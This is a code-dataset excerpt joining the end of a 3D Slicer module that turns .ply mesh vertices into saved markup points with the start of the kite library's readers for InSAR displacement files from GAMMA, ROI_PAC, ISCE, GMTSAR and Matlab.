output\n            dataDirectoryPath = self.ui.dataDirectoryPath.directory\n            self.logic.process(dataDirectoryPath)#, self.ui.inputSelector.currentNode(), self.ui.inputFiducial.currentNode(), self.ui.outputSelector.currentNode(),\n                               #self.ui.imageThresholdSliderWidget.value, self.ui.invertOutputCheckBox.checked)\n\n            # # Compute inverted output (if needed)\n            # if self.ui.invertedOutputSelector.currentNode():\n            #     # If additional output volume is selected then result with inverted threshold is written there\n            #     self.logic.process(self.ui.inputSelector.currentNode(), self.ui.invertedOutputSelector.currentNode(),\n            #                        self.ui.imageThresholdSliderWidget.value, not self.ui.invertOutputCheckBox.checked, showResult=False)\n\n\n#\n# SurfaceModelNodesSelectorLogic\n#\n\nclass SurfaceModelNodesSelectorLogic(ScriptedLoadableModuleLogic):\n    \"\"\"This class should implement all the actual\n    computation done by your module.  The interface\n    should be such that other python code can import\n    this class and make use of the functionality without\n    requiring an instance of the Widget.\n    Uses ScriptedLoadableModuleLogic base class, available at:\n    https://github.com/Slicer/Slicer/blob/main/Base/Python/slicer/ScriptedLoadableModule.py\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"\n        Called when the logic class is instantiated. Can be used for initializing member variables.\n        \"\"\"\n        ScriptedLoadableModuleLogic.__init__(self)\n\n    def setDefaultParameters(self, parameterNode):\n        \"\"\"\n        Initialize parameter node with default settings.\n        \"\"\"\n        if not parameterNode.GetParameter(\"Threshold\"):\n            parameterNode.SetParameter(\"Threshold\", \"100.0\")\n        if not parameterNode.GetParameter(\"Invert\"):\n            parameterNode.SetParameter(\"Invert\", \"false\")\n   \n    \n    def onMarkupEndInteraction(self, caller, event):\n        markupsNode = caller\n        markupsNodeindex = int(caller.GetAttribute('Markups.MovingMarkupIndex'))\n        pos = [0,0,0]\n        markupsNode.GetNthControlPointPosition(markupsNodeindex, pos)\n        #sliceView = markupsNode.GetAttribute(\"Markups.MovingInSliceView\")\n        #movingMarkupIndex = markupsNode.GetDisplayNode().GetActiveControlPoint()\n        print(markupsNodeindex)\n        print(pos)\n        #print(movingMarkupIndex)\n        #logging.info(\"End interaction: point ID = {0}, slice view = {1}\".format(movingMarkupIndex, sliceView))\n\n    def process(self, dataDirectoryPath, showResult=True):\n        \"\"\"\n        Run the processing algorithm.\n        Can be used without GUI widget.\n        :param dataDirectoryPath: path to the data directory containing .ply files\n       \n        \"\"\"\n\n        if not dataDirectoryPath:\n            raise ValueError(\"no Data folder selected\")\n\n        import time\n        startTime = time.time()\n        logging.info('Processing started')\n        logging.info('Search for .ply files')\n        modelDir = dataDirectoryPath\n        modelFileExt = \"ply\"\n        modelFiles = list(f for f in os.listdir(modelDir) if f.endswith(\".\"+modelFileExt))\n        print(modelFiles)\n        import pandas as pd\n        \n        #dataframe to store all the ply files name along with index\n        df = pd.DataFrame(modelFiles, columns =['FileNames'])\n        filepath = dataDirectoryPath+'/models_ids.csv'\n        df.to_csv(filepath, index=True)\n        \n        idFile = 0\n        for idFile in range(idFile,len(df)):\n            print(df.iloc[idFile].FileNames)\n            markupsNode = slicer.mrmlScene.AddNewNodeByClass(\"vtkMRMLMarkupsFiducialNode\")\n            markupsNode.CreateDefaultDisplayNodes()\n            \n            modelFileName =  df.iloc[idFile].FileNames\n            modelNode = slicer.util.loadModel(dataDirectoryPath+ \"/\" + modelFileName)\n            size = len(modelFileName)\n            modelFileName = modelFileName[:size - 4]\n            print(modelFileName)\n            markupsNode.SetName(modelFileName)\n            print(df.index.get_loc(idFile))\n            \n            meshModel = modelNode.GetMesh()\n            points = meshModel.GetPoints()\n            nPoints = points.GetNumberOfPoints()\n            for i in range(nPoints):\n                p = points.GetPoint(i)\n                markupsNode.AddControlPoint(p[0],p[1],p[2])\n                markupsNode.SetNthControlPointLocked(i, True)\n                \n                \n            d = markupsNode.GetDisplayNode()\n            d.PointLabelsVisibilityOff()\n            #saving the markup point and cleaning the scene\n            slicer.util.saveNode(markupsNode, os.path.join(dataDirectoryPath, modelFileName+\".mrk.json\"))\n            slicer.mrmlScene.Clear(0)\n       \n        \n\n        stopTime = time.time()\n        logging.info(f'Processing completed in {stopTime-startTime:.2f} seconds')\n\n\n#\n# SurfaceModelNodesSelectorTest\n#\n\nclass SurfaceModelNodesSelectorTest(ScriptedLoadableModuleTest):\n    \"\"\"\n    This is the test case for your scripted module.\n    Uses ScriptedLoadableModuleTest base class, available at:\n    https://github.com/Slicer/Slicer/blob/main/Base/Python/slicer/ScriptedLoadableModule.py\n    \"\"\"\n\n    def setUp(self):\n        \"\"\" Do whatever is needed to reset the state - typically a scene clear will be enough.\n        \"\"\"\n        slicer.mrmlScene.Clear()\n\n    def runTest(self):\n        \"\"\"Run as few or as many tests as needed here.\n        \"\"\"\n        self.setUp()\n        self.test_SurfaceModelNodesSelector1()\n\n    def test_SurfaceModelNodesSelector1(self):\n        \"\"\" Ideally you should have several levels of tests.  At the lowest level\n        tests should exercise the functionality of the logic with different inputs\n        (both valid and invalid).  At higher levels your tests should emulate the\n        way the user would interact with your code and confirm that it still works\n        the way you intended.\n        One of the most important features of the tests is that it should alert other\n        developers when their changes will have an impact on the behavior of your\n        module.  For example, if a developer removes a feature that you depend on,\n        your test should break so they know that the feature is needed.\n        \"\"\"\n\n        self.delayDisplay(\"Starting the test\")\n\n        # Get/create input data\n\n        import SampleData\n        registerSampleData()\n        inputVolume = SampleData.downloadSample('SurfaceModelNodesSelector1')\n        self.delayDisplay('Loaded test data set')\n\n        inputScalarRange = inputVolume.GetImageData().GetScalarRange()\n        self.assertEqual(inputScalarRange[0], 0)\n        self.assertEqual(inputScalarRange[1], 695)\n\n        outputVolume = slicer.mrmlScene.AddNewNodeByClass(\"vtkMRMLScalarVolumeNode\")\n        threshold = 100\n\n        # Test the module logic\n\n        logic = SurfaceModelNodesSelectorLogic()\n\n        # Test algorithm with non-inverted threshold\n        logic.process(inputVolume, outputVolume, threshold, True)\n        outputScalarRange = outputVolume.GetImageData().GetScalarRange()\n        self.assertEqual(outputScalarRange[0], inputScalarRange[0])\n        self.assertEqual(outputScalarRange[1], threshold)\n\n        # Test algorithm with inverted threshold\n        logic.process(inputVolume, outputVolume, threshold, False)\n        outputScalarRange = outputVolume.GetImageData().GetScalarRange()\n        self.assertEqual(outputScalarRange[0], inputScalarRange[0])\n        self.assertEqual(outputScalarRange[1], inputScalarRange[1])\n\n        self.delayDisplay('Test passed')\n","repo_name":"saimasafdar2021/Slicer_SurfaceModelNodesSelector","sub_path":"SurfaceModelNodesSelector/SurfaceModelNodesSelector.py","file_name":"SurfaceModelNodesSelector.py","file_ext":"py","file_size_in_byte":21042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39849338001","text":"import glob\nimport os\nimport re\nimport time\nfrom datetime import datetime\n\nimport numpy as np\nimport scipy.io\nimport utm\n\nfrom kite import util\n\n__all__ = [\"Gamma\", \"Matlab\", \"ISCE\", \"GMTSAR\", \"ROI_PAC\", \"SARscape\", \"SNAP_Gamma\"]\n\ntry:\n    from osgeo import gdal\n\n    __all__.append(\"LiCSAR\")\n    __all__.append(\"ARIA\")\nexcept ImportError:\n    pass\n\n\nd2r = np.pi / 180.0\nkm = 1e3\nop = os.path\n\nLAMBDA_SENTINEL = 0.055465763\n\n\ndef check_required(required, params):\n    for r in required:\n        if r not in params:\n            return False\n    return True\n\n\ndef safe_cast(val, to_type, default=None):\n    try:\n        return to_type(val)\n    except (ValueError, TypeError):\n        return default\n\n\nclass HeaderError(Exception):\n    pass\n\n\nclass AttribDict(dict):\n    def __getattr__(self, item):\n        return self[item]\n\n    def __setattr__(self, item, value):\n        self[item] = value\n\n\nclass SceneIO(object):\n    \"\"\"Prototype class for SARIO objects.\"\"\"\n\n    def __init__(self, scene=None):\n        if scene is not None:\n            self._log = scene._log.getChild(\"IO/%s\" % self.__class__.__name__)\n        else:\n            import logging\n\n            self._log = logging.getLogger(\"SceneIO/%s\" % self.__class__.__name__)\n\n        self.container = AttribDict(\n            phi=0.0,  # Look orientation counter-clockwise angle from east\n            theta=0.0,  # Look elevation angle (up from horizontal in degree)\n            # 90 deg North\n            displacement=None,  # Displacement towards LOS\n            frame=AttribDict(\n                llLon=None,  # Lower left corner latitude\n                llLat=None,  # Lower left corner londgitude\n                dN=None,  # Pixel delta in north, meter or degree\n                dE=None,  # Pixel delta in east, meter or degree\n                spacing=\"meter\",  # Pixel spacing unit\n            ),\n            # Meta information\n            meta=AttribDict(\n                title=None,\n                orbital_node=None,\n                satellite_name=None,\n                wavelength=None,\n                time_master=None,\n                time_slave=None,\n            ),\n            # All extra information\n            extra={},\n        )\n\n    def read(self, filename, **kwargs):\n        \"\"\"Read function of the file format\n\n        :param filename: file to read\n        :type filename: string\n        :param kwargs: Keyword arguments\n        :type kwargs: {dict}\n        \"\"\"\n        raise NotImplementedError(\"read not implemented\")\n\n    def write(self, filename, **kwargs):\n        \"\"\"Write method for IO\n\n        :param filename: file to write to\n        :type filename: string\n        :param **kwargs: Keyword arguments\n        :type **kwargs: {dict}\n        \"\"\"\n        raise NotImplementedError(\"write not implemented\")\n\n    def validate(self, filename, **kwargs):\n        \"\"\"Validate file format\n\n        :param filename: file to validate\n        :type filename: string\n        :returns: Validation\n        :rtype: {bool}\n        \"\"\"\n        raise NotImplementedError(\"validate not implemented\")\n\n\nclass Matlab(SceneIO):\n    \"\"\"\n    Variable naming conventions for Matlab :file:`.mat` container:\n\n        ================== ==================== ===================== =====\n        Property           Matlab ``.mat`` name type                  unit\n        ================== ==================== ===================== =====\n        Scene.displacement ``ig_``              n x m array           [m]\n        Scene.phi          ``phi``              float or n x m array  [rad]\n        Scene.theta        ``theta``            float or n x m array  [rad]\n        Scene.frame.x      ``xx``               n x 1 vector          [m]\n        Scene.frame.y      ``yy``               m x 1 vector          [m]\n        Scene.utm_zone     ``utm_zone``         str ('33T')\n        ================== ==================== ===================== =====\n\n    Displacement is expected to be in meters. Note that the displacement maps\n    could also be pixel offset maps rather than unwrapped SAR interferograms.\n    For SAR azimuth pixel offset maps calculate ``phi`` from the heading\n    direction and set ``theta=0.``. For SAR range pixel offsets use the same\n    LOS angles as for InSAR.\n    \"\"\"\n\n    def validate(self, filename, **kwargs):\n        if filename[-4:] == \".mat\":\n            return True\n        else:\n            return False\n        try:\n            variables = self.io.whosmat(filename)\n            if len(variables) > 50:\n                return False\n            return True\n        except ValueError:\n            return False\n\n    def read(self, filename, **kwargs):\n        container = self.container\n\n        mat = scipy.io.loadmat(filename)\n        utm_e = None\n        utm_n = None\n        utm_zone = None\n        utm_zone_letter = None\n        phi0 = None\n        theta0 = None\n\n        for mat_k, _ in mat.items():\n            for io_k in container.keys():\n                if io_k in mat_k:\n                    container[io_k] = np.rot90(mat[mat_k])\n                elif \"ig_\" in mat_k:\n                    container.displacement = np.rot90(mat[mat_k])\n                elif \"xx\" in mat_k:\n                    utm_e = mat[mat_k].flatten()\n                elif \"yy\" in mat_k:\n                    utm_n = mat[mat_k].flatten()\n                elif \"utm_zone\" in mat_k:\n                    utm_zone = int(mat[\"utm_zone\"][0][:-1])\n                    utm_zone_letter = str(mat[\"utm_zone\"][0][-1])\n                elif \"phi\" in mat_k:\n                    phi0 = mat[mat_k].flatten()\n                elif \"theta\" in mat_k:\n                    theta0 = mat[mat_k].flatten()\n\n        if len(theta0) == 1:\n            container.theta = np.ones(np.shape(container.displacement)) * theta0\n\n        if len(theta0) == 1:\n            container.phi = np.ones(np.shape(container.displacement)) * phi0\n\n        if utm_zone is None:\n            utm_zone = 33\n            utm_zone_letter = \"N\"\n            self._log.warning(\n                \"Variable utm_zone not defined. Defaulting to UTM Zone %d%s!\"\n                % (utm_zone, utm_zone_letter)\n            )\n\n        if not (np.all(utm_e) or np.all(utm_n)):\n            self._log.warning(\"Could not find referencing UTM vectors in .mat file!\")\n            utm_e = np.linspace(100000, 110000, container.displacement.shape[0])\n            utm_n = np.linspace(1100000, 1110000, container.displacement.shape[1])\n\n        if utm_e.min() < 1e4 or utm_n.min() < 1e4:\n            utm_e *= km\n            utm_n *= km\n\n        container.frame.dE = np.abs(utm_e[1] - utm_e[0])\n        container.frame.dN = np.abs(utm_n[1] - utm_n[0])\n        try:\n            container.frame.llLat, container.frame.llLon = utm.to_latlon(\n                utm_e.min(), utm_n.min(), utm_zone, utm_zone_letter\n            )\n\n        except utm.error.OutOfRangeError:\n            self._log.warning(\n                \"Could not interpret spatial vectors,\" \" referencing to 0, 0 (lat, lon)\"\n            )\n            container.frame.llLat, container.frame.llLon = (0.0, 0.0)\n        return container\n\n\nclass Gamma(SceneIO):\n    \"\"\"\n\n    Reading geocoded displacement maps (unwrapped igs) originating\n        from GAMMA software.\n\n    .. note :: Expects:\n\n        * [:file:`*`] Binary file from Gamma with displacement in radians\n        * [:file:`*.slc.par`] If you want to translate radians to\n          meters using the `radar_frequency`.\n        * [:file:`*par`] Parameter file, describing ``corner_lat, corner_lon,\n          nlines, width, post_lat, post_lon`` or ``post_north, post_east,\n          corner_east, corner_north, nlines, width``.\n        * [:file:`*theta*`, :file:`*phi*`] Two look vector files,\n          generated by GAMMA command ``look_vector``.\n\n    .. warning ::\n\n        * Data has to be georeferenced to latitude/longitude or UTM!\n        * Look vector files - expected to have a particular name\n    \"\"\"\n\n    @staticmethod\n    def _parseParameterFile(filename):\n        params = {}\n        rc = re.compile(r\"^(\\w*):\\s*([a-zA-Z0-9+-.*]*\\s[a-zA-Z0-9_]*).*\")\n\n        with open(filename, mode=\"r\") as par:\n            for line in par:\n                parsed = rc.match(line)\n                if parsed is None:\n                    continue\n\n                groups = parsed.groups()\n                params[groups[0]] = safe_cast(\n                    groups[1], float, default=groups[1].strip()\n                )\n        return params\n\n    def _getParameters(self, path, log=False):\n        required_utm = [\n            \"post_north\",\n            \"post_east\",\n            \"corner_east\",\n            \"corner_north\",\n            \"nlines\",\n            \"width\",\n        ]\n        required_lat_lon = [\n            \"corner_lat\",\n            \"corner_lon\",\n            \"nlines\",\n            \"width\",\n            \"post_lat\",\n            \"post_lon\",\n        ]\n\n        path = op.dirname(op.realpath(path))\n        par_files = glob.glob(\"%s/*par\" % path)\n\n        for file in par_files:\n            params = self._parseParameterFile(file)\n\n            if check_required(required_utm, params) or check_required(\n                required_lat_lon, params\n            ):\n                if not log:\n                    self._log.info(\"Found parameter file %s\", file)\n                return params\n\n        raise ImportError(\"Parameter file does not hold required parameters\")\n\n    def _getSLCParameters(self, path):\n        required_params = (\"nlines\",)\n        path = op.dirname(op.realpath(path))\n        par_files = glob.glob(f\"{path}/*par\")\n\n        for file in par_files:\n            params = self._parseParameterFile(file)\n\n            if check_required(required_params, params):\n                self._log.info(\"Found SLC parameter file %s\", file)\n                return params\n\n        raise ImportError(\n            \"Could not find SLC parameter file *.par\"\n            f\" with parameters {required_params}\"\n        )\n\n    def validate(self, filename, **kwargs):\n        try:\n            par_file = kwargs.pop(\"par_file\", filename)\n            self._getParameters(par_file)\n            return True\n        except ImportError:\n            return False\n\n    def _getLOSAngles(self, filename, pattern):\n        path = op.dirname(op.realpath(filename))\n        phi_files = glob.glob(\"%s/%s\" % (path, pattern))\n        if len(phi_files) == 0:\n            self._log.warning(\n                \"Could not find LOS file %s, \" \"defaulting to angle to 0.\" % pattern\n            )\n            return 0.0\n        elif len(phi_files) > 1:\n            self._log.warning(\n                \"Found multiple LOS files %s, \" \"defaulting to angle 0.\" % pattern\n            )\n            return 0.0\n\n        filename = phi_files[0]\n        self._log.info(\"Loading LOS %s from %s\" % (pattern, filename))\n        return np.memmap(filename, mode=\"r\", dtype=\">f4\")\n\n    def read(self, filename, **kwargs):\n        \"\"\"\n        :param filename: Gamma software parameter file\n        :type filename: str\n        :param par_file: Corresponding parameter (:file:`*par`) file.\n                         (optional)\n        :type par_file: str\n        :returns: Import dictionary\n        :rtype: dict\n        :raises: ImportError\n        \"\"\"\n        par_file = kwargs.pop(\"par_file\", filename)\n\n        params = self._getParameters(par_file, log=True)\n\n        try:\n            params_slc = self._getSLCParameters(par_file)\n        except ImportError as exc:\n            raise exc\n\n        fill = None\n\n        ncols = int(params[\"width\"])\n        nlines = int(params[\"nlines\"])\n        radar_frequency = float(params_slc.get(\"radar_frequency\", 5.405e9))  # Sentinel1\n\n        displ = np.fromfile(filename, dtype=\">f4\")\n        # Resize array if last line is not scanned completely\n        if (displ.size % ncols) != 0:\n            fill = np.empty(ncols - displ.size % ncols)\n            fill.fill(np.nan)\n            displ = np.append(displ, fill)\n\n        displ = displ.reshape(nlines, ncols)\n        displ[displ == -0.0] = np.nan\n        displ = np.flipud(displ)\n\n        if radar_frequency is not None:\n            radar_frequency = float(radar_frequency)\n            self._log.info(\n                \"Scaling displacement by radar_frequency %f GHz\"\n                % (radar_frequency / 1e9)\n            )\n            wavelength = util.C / radar_frequency\n            displ /= -4 * np.pi\n            displ *= wavelength\n\n        else:\n            wavelength = \"None\"\n            self._log.warning(\n                \"Could not determine radar_frequency from *.slc.par file!\"\n                \" Leaving displacement to radians.\"\n            )\n\n        phi = self._getLOSAngles(filename, \"*phi*\")\n        theta = self._getLOSAngles(filename, \"*theta*\")\n        theta = theta\n\n        if isinstance(phi, np.ndarray):\n            phi = phi.reshape(nlines, ncols)\n            phi = np.flipud(phi)\n        if isinstance(theta, np.ndarray):\n            theta = theta.reshape(nlines, ncols)\n            theta = np.flipud(theta)\n\n        if fill is not None:\n            theta = np.append(theta, fill)\n            phi = np.append(phi, fill)\n\n        container = self.container\n\n        container.displacement = displ\n        container.theta = theta\n        container.phi = phi\n\n        container.meta.wavelength = wavelength\n        container.meta.title = params.get(\"title\", \"None\")\n\n        container.bin_file = filename\n        container.par_file = par_file\n\n        if params[\"DEM_projection\"] == \"UTM\":\n            utm_zone = params[\"projection_zone\"]\n            try:\n                utm_zone_letter = utm.latitude_to_zone_letter(params[\"center_latitude\"])\n            except ValueError:\n                self._log.warning(\n                    \"Could not parse UTM Zone letter,\" \" defaulting to N!\"\n                )\n                utm_zone_letter = \"N\"\n\n            self._log.info(\n                \"Using UTM reference: Zone %d%s\" % (utm_zone, utm_zone_letter)\n            )\n\n            dN = params[\"post_north\"]\n            dE = params[\"post_east\"]\n\n            utm_corn_e = params[\"corner_east\"]\n            utm_corn_n = params[\"corner_north\"]\n\n            utm_corn_eo = utm_corn_e + dE * displ.shape[1]\n            utm_corn_no = utm_corn_n + dN * displ.shape[0]\n\n            utm_e = np.linspace(utm_corn_e, utm_corn_eo, displ.shape[1])\n            utm_n = np.linspace(utm_corn_n, utm_corn_no, displ.shape[0])\n\n            llLat, llLon = utm.to_latlon(\n                utm_e.min(), utm_n.min(), utm_zone, utm_zone_letter\n            )\n\n            container.frame.llLat = llLat\n            container.frame.llLon = llLon\n\n            container.frame.dE = abs(dE)\n            container.frame.dN = abs(dN)\n\n        else:\n            self._log.info(\"Using Lat/Lon reference\")\n            container.frame.spacing = \"degree\"\n            container.frame.llLat = params[\"corner_lat\"] + params[\"post_lat\"] * nlines\n            container.frame.llLon = params[\"corner_lon\"]\n            container.frame.dE = abs(params[\"post_lon\"])\n            container.frame.dN = abs(params[\"post_lat\"])\n\n        return container\n\n\nclass ROI_PAC(SceneIO):\n    \"\"\"\n    .. note:: Expects:\n\n        * Binary file from ROI_PAC (:file:`*`)\n        * Parameter file (:file:`<binary_file>.rsc`),\n          describing ``WIDTH, FILE_LENGTH, X_FIRST, Y_FIRST, X_STEP,\n          Y_STEP, WAVELENGTH``\n        * If the georeferencing is in UTM coordinates, further needed\n          entries in parameter file are 'X_UNIT' and 'Y_UNIT' that give\n          'meters' and 'LAT_REF3' as well as 'LON_REF3'.\n\n        The unwrapped displacement is expected in radians and will be scaled\n        to meters by ``WAVELENGTH`` parsed from the :file:`*.rsc` file.\n\n    \"\"\"\n\n    def validate(self, filename, **kwargs):\n        try:\n            par_file = kwargs.pop(\"par_file\", self._getParameterFile(filename))\n            self._parseParameterFile(par_file)\n            return True\n        except ImportError:\n            return False\n\n    def _getParameterFile(self, bin_file):\n        par_file = op.realpath(bin_file) + \".rsc\"\n        try:\n            self._parseParameterFile(par_file)\n            self._log.info(\"Found parameter file %s\" % par_file)\n            return par_file\n        except (ImportError, IOError):\n            raise ImportError(\"Could not find ROI_PAC parameter file (%s)\" % par_file)\n\n    @staticmethod\n    def _parseParameterFile(par_file):\n        params = {}\n        required_L0 = [\n            \"WIDTH\",\n            \"FILE_LENGTH\",\n            \"X_FIRST\",\n            \"Y_FIRST\",\n            \"X_STEP\",\n            \"Y_STEP\",\n            \"WAVELENGTH\",\n        ]\n        required_utm = [\"X_UNIT\", \"LAT_REF1\", \"LON_REF1\"]\n\n        rc = re.compile(r\"([\\w]*)\\s*([\\w.+-]*)\")\n        with open(par_file, \"r\") as par:\n            for line in par:\n                parsed = rc.match(line)\n                if parsed is None:\n                    continue\n                groups = parsed.groups()\n                params[groups[0]] = safe_cast(\n                    groups[1], float, default=groups[1].strip()\n                )\n\n        if check_required(required_L0, params):\n            if check_required(required_utm, params):\n                geo_ref = \"all\"\n                return params, geo_ref\n            else:\n                geo_ref = \"latlon\"\n                return params, geo_ref\n\n        raise ImportError(\n            \"Parameter file %s does not hold the basic \\\n             required parameters\"\n            % par_file\n        )\n\n    def read(self, filename, **kwargs):\n        \"\"\"\n        :param filename: ROI_PAC binary file\n        :type filename: str\n        :param par_file: Corresponding parameter (:file:`*rsc`) file.\n                         (optional)\n        :type par_file: str\n        :returns: Import dictionary\n        :rtype: dict\n        :raises: ImportError\n        \"\"\"\n        par_file = kwargs.pop(\"par_file\", self._getParameterFile(filename))\n\n        par, geo_ref = self._parseParameterFile(par_file)\n        nlines = int(par[\"FILE_LENGTH\"])\n        ncols = int(par[\"WIDTH\"])\n        wavelength = par[\"WAVELENGTH\"]\n        heading = par[\"HEADING_DEG\"]\n        if geo_ref == \"latlon\":\n            lat_ref = par[\"Y_FIRST\"]\n            lon_ref = par[\"X_FIRST\"]\n        elif geo_ref == \"all\":\n            lat_ref = par[\"LAT_REF3\"]\n            lon_ref = par[\"LON_REF3\"]\n\n        look_ref1 = par[\"LOOK_REF1\"]\n        look_ref2 = par[\"LOOK_REF2\"]\n        look_ref3 = par[\"LOOK_REF3\"]\n        look_ref4 = par[\"LOOK_REF4\"]\n\n        utm_zone_letter = utm.latitude_to_zone_letter(lat_ref)\n        utm_zone = utm.latlon_to_zone_number(lat_ref, lon_ref)\n\n        look = np.mean(np.array([look_ref1, look_ref2, look_ref3, look_ref4]))\n\n        data = np.memmap(filename, dtype=\"<f4\")\n        data = data.reshape(nlines, ncols * 2)\n\n        displ = data[:, ncols:]\n        displ = np.flipud(displ)\n        displ[displ == -0.0] = np.nan\n        displ = displ / (4.0 * np.pi) * wavelength\n\n        z_scale = par.get(\"Z_SCALE\", 1.0)\n        z_offset = par.get(\"Z_OFFSET\", 0.0)\n        displ += z_offset\n        displ *= z_scale\n\n        container = self.container\n\n        container.displacement = displ\n        container.theta = np.deg2rad(90.0 - look)\n        container.phi = np.deg2rad(-heading + 180.0)\n\n        container.meta.title = par.get(\"TITLE\", \"None\")\n        container.meta.wavelength = par[\"WAVELENGTH\"]\n        container.bin_file = filename\n        container.par_file = par_file\n\n        if geo_ref == \"all\":\n            if par[\"X_UNIT\"] == \"meters\":\n                container.frame.spacing = \"meter\"\n                container.frame.dE = par[\"X_STEP\"]\n                container.frame.dN = -par[\"Y_STEP\"]\n                geo_ref = \"utm\"\n\n            elif par[\"X_UNIT\"] == \"degree\":\n                container.frame.spacing = \"degree\"\n                geo_ref = \"latlon\"\n\n        elif geo_ref == \"latlon\":\n            self._log.info(\"Georeferencing is in Lat-Lon [degrees].\")\n            container.frame.spacing = \"degree\"\n            container.frame.llLat = par[\"Y_FIRST\"] + par[\"Y_STEP\"] * nlines\n            container.frame.llLon = par[\"X_FIRST\"]\n\n            # c_utm_0 = utm.from_latlon(lat_ref, lon_ref)\n            # c_utm_1 = utm.from_latlon(lat_ref + par['Y_STEP'],\n            #                           lon_ref + par['X_STEP'])\n\n            # c.frame.dE = c_utm_1[0] - c_utm_0[0]\n            # c.frame.dN = abs(c_utm_1[1] - c_utm_0[1])\n            container.frame.dE = par[\"X_STEP\"]\n            container.frame.dN = -par[\"Y_STEP\"]\n\n        elif geo_ref == \"utm\":\n            self._log.info(\n                \"Georeferencing is in UTM (zone %d%s)\", utm_zone, utm_zone_letter\n            )\n            y_ll = par[\"Y_FIRST\"] + par[\"Y_STEP\"] * nlines\n            container.frame.llLat, container.frame.llLon = utm.to_latlon(\n                par[\"X_FIRST\"], y_ll, utm_zone, zone_letter=utm_zone_letter\n            )\n\n        return self.container\n\n\nclass ISCEXMLParser(object):\n    def __init__(self, filename):\n        import xml.etree.ElementTree as ET\n\n        self.root = ET.parse(filename).getroot()\n\n    @staticmethod\n    def type_convert(value):\n        for t in (float, int, str):\n            try:\n                return t(value)\n            except ValueError:\n                continue\n        raise ValueError(\"Could not convert value\")\n\n    def getProperty(self, name):\n        name = name.lower()\n\n        for child in self.root.iter():\n            child_name = child.get(\"name\")\n            if isinstance(child_name, str):\n                child_name = child_name.lower()\n            if child_name == name.lower():\n                if child.tag == \"property\":\n                    return self.type_convert(child.find(\"value\").text)\n                elif child.tag == \"component\":\n                    values = {}\n                    for prop in child.iter(\"property\"):\n                        values[prop.get(\"name\")] = self.type_convert(\n                            prop.find(\"value\").text\n                        )\n                    return values\n        return None\n\n\nclass ISCE(SceneIO):\n    \"\"\"\n    Reading geocoded, unwrapped displacement maps\n    processed with ISCE software (https://winsar.unavco.org/isce.html).\n\n    .. note :: Expects:\n\n        * Unwrapped displacement binary (:file:`*.unw.geo`)\n        * Metadata XML (:file:`*.unw.geo.xml`)\n        * LOS binary data (:file:`*.rdr.geo`)\n\n    .. note ::\n\n        When using ``gdal_translate`` to crop the scene, use the argument\n        ``-co SCHEME=BIL`` to make the output\n\n    .. note ::\n\n        Data are in radians but no transformation to\n        meters yet, as ``wavelength`` or at least sensor name is not\n        provided in the XML file.\n    \"\"\"\n\n    def validate(self, filename, **kwargs):\n        try:\n            self._getDisplacementFile(filename)\n            self._getLOSFile(filename)\n            return True\n        except ImportError:\n            return False\n\n    def _getLOSFile(self, path):\n        if not op.isdir(path):\n            path = op.dirname(path)\n        rdr_files = glob.glob(op.join(path, \"*.rdr.geo\"))\n\n        if len(rdr_files) == 0:\n            raise ImportError(\"Could not find LOS file (*.rdr.geo)\")\n\n        rdr_file = rdr_files[0]\n        self._log.info(\"Found LOS file: %s\", rdr_file)\n        return rdr_file\n\n    def _getDisplacementFile(self, path):\n        if op.isfile(path):\n            disp_file = path\n        else:\n            files = glob.glob(op.join(path, \"*.unw.geo\"))\n            if len(files) == 0:\n                raise ImportError(\n                    \"Could not find displacement file \" \"(.unw.geo) at %s\", path\n                )\n            disp_file = files[0]\n\n        if not op.isfile(\"%s.xml\" % disp_file):\n            raise ImportError(\n                \"Could not find displacement XML file \"\n                \"(%s.unw.geo.xml)\" % op.basename(disp_file)\n            )\n        self._log.info(\"Found Displacement file: %s\", disp_file)\n        return disp_file\n\n    def read(self, path, **kwargs):\n        path = op.abspath(path)\n        container = self.container\n\n        xml_file = self._getDisplacementFile(path) + \".xml\"\n        self._log.info(\"Parsing ISCE XML file %s\" % xml_file)\n        isce_xml = ISCEXMLParser(xml_file)\n\n        coord_lon = isce_xml.getProperty(\"coordinate1\")\n        coord_lat = isce_xml.getProperty(\"coordinate2\")\n        container.frame.dN = np.abs(coord_lat[\"delta\"])\n        container.frame.dE = np.abs(coord_lon[\"delta\"])\n\n        nlon = int(coord_lon[\"size\"])\n        nlat = int(coord_lat[\"size\"])\n\n        container.frame.spacing = \"degree\"\n        container.frame.llLat = coord_lat[\"startingvalue\"] + (nlat * coord_lat[\"delta\"])\n        container.frame.llLon = coord_lon[\"startingvalue\"]\n\n        displ = np.memmap(self._getDisplacementFile(path), dtype=\"<f4\").reshape(\n            nlat, nlon * 2\n        )[:, nlon:]\n\n        displ = np.flipud(displ)\n        displ[displ == 0.0] = np.nan\n        container.displacement = displ\n\n        los_file = self._getLOSFile(path)\n        los_data = np.fromfile(los_file, dtype=\"<f4\").reshape(nlat * 2, nlon)\n\n        theta = np.flipud(los_data[0::2, :])\n        phi = np.flipud(los_data[1::2, :])\n\n        def los_is_degree():\n            return np.abs(theta).max() > np.pi or np.abs(phi).max() > np.pi\n\n        if not los_is_degree():\n            raise ImportError(\n                \"The LOS file (%s) seems to be in radians! \"\n                \"Change it to degree!\" % op.basename(los_file)\n            )\n\n        phi[phi == 0.0] = np.nan\n        theta[theta == 0.0] = np.nan\n\n        phi *= d2r\n        theta *= d2r\n\n        phi = np.pi / 2 + phi\n        theta = np.pi / 2 - theta\n\n        container.phi = phi\n        container.theta = theta\n\n        return container\n\n\nclass GMTSAR(SceneIO):\n    \"\"\"\n    Reading GMTSAR grid files.\n\n    .. note ::\n\n        Expects:\n\n        * Displacement grid (NetCDF, :file:`*los_ll.grd`) in meter\n          (in case use \"gmt grdmath los_cm_ll.grd 0.01 MUL = los_m_ll.grd')\n        * LOS binary data (see instruction, :file:`*.los.enu`)\n\n    Calculate the corresponding unit look vectors with GMT5SAR ``SAT_look``:\n\n    .. code-block:: sh\n\n        gmt grd2xyz los_ll.grd | gmt grdtrack -Gdem.grd | \\\\\n        awk {'print $1, $2, $4'} | \\\\\n        SAT_look 20050731.PRM -bos > 20050731.los.enu\n    \"\"\"\n\n    def validate(self, filename, **kwargs):\n        try:\n            if self._getDisplacementFile(filename)[-4:] == \".grd\":\n                return True\n        except ImportError:\n            return False\n        return False\n\n    def _getLOSFile(self, path):\n        if not op.isdir(path):\n            path = op.dirname(path)\n        los_files = glob.glob(op.join(path, \"*.los.*\"))\n        if len(los_files) == 0:\n            